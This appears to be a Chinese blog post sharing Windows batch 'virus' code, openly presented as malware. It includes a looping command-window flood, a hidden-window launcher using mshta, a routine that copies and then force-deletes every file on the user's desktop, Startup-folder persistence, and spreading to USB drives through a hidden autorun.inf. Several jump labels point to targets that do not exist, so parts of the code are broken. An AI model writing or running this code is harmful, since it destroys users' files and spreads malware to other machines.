bat病毒代码介绍
下面是從網上匯總和自己編寫的,轉載轉載請注明出處
無限彈窗病毒
@echo off
::這一行的意思是關閉回顯
:start
::運行某程序
cmd
::開始運行命令提示符
goto 1
::從第一行開始運行
@echo off
::隱藏運行窗口功能
if "%1" == "h" goto begin?
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit?
:start
::在C盤儲存桌面副本
xcopy "C:\Users\%username%\Desktop" C:\Desktopcopied /d /i>nul 2>nul
::清空桌面
del /f /s /q C:\Users\%username%\Desktop\*.*>nul 2>nul
goto 1
::開機自啟功能
xcopy "%0" "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
goto open
:scan
::U盤傳播功能
for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
fsutil fsinfo drivetype %%i: | findstr /i "可移動驅動器" >nul 2>nul && set find=1
if defined find (
xcopy "%0" "%%i"
Echo [autorun]>>%%i\AutoRun.inf
Echo Open=FoolDay.bat>>%%i\AutoRun.inf
attrib +H %%i\AutoRun.inf
goto start1
)
)
goto start1
總結
- 上一篇: 项目管理学习总结(11)——项目管理怎么
- 下一篇: 国内外cms网站大全